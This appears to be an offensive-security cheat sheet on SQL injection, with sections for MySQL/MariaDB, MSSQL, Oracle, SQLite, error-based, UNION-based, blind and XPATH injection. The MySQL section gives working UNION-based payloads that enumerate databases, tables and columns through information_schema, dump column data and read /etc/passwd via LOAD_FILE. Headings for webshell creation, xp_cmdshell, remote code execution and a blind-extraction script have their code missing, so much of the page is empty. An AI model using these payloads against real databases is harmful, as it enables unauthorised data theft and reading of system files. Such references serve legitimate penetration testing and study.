SQL Injection

Common Injections

MySQL & MariaDB

Get Number of Columns

-1 order by 3;#

Get Version

-1 union select 1,2,version();#

Get Database Name

-1 union select 1,2,database();#

Get Table Name

-1 union select 1,2, group_concat(table_name) from information_schema.tables where table_schema="<DATABASE>";#

Get Column Name

-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_schema="<DATABASE>" and table_name="<TABLE>";#

Read a File

SELECT LOAD_FILE('/etc/passwd')

Dump Data

-1 union select 1,2, group_concat(<COLUMN>) from <DATABASE>.<TABLE>;#

Create Webshell

or

MSSQL

Authentication Bypass

Get Version with Time-Based Injection

Enable xp_cmdshell

Remote Code Execution (RCE)

Orcale SQL

Authentication Bypass

Get Number of Columns

Get Table Name

Get Column Name

Dump Data

SQLite

Extracting Table Names

Extracting User Table

Error-based SQL Injection (SQLi)

Results in:

UNION-based SQL Injection (SQLi)

1

Find the number of columns

2

List the databses

3

List the tables

4

List the columns

5

List the content

6

Read Files

if the file does not work try in hex:

7

Upload Files

Bind SQL

Let's assume that Bind SQL Injection was found. Let's do a script using substring for extracting the database name:

Then for extracting the table name we only modify the sql injection payload:

Let's retrieve the columns of a table:

Retrieve user and password:

XPATH Injection

We have to use XPATH when we try to inject and we get an error "Unknown column". So this is the condition when you can depend on XPATH injection.

This is the double quote over there..that means this time we are injecting into a string type query where the query is like.

Explotation

Last updated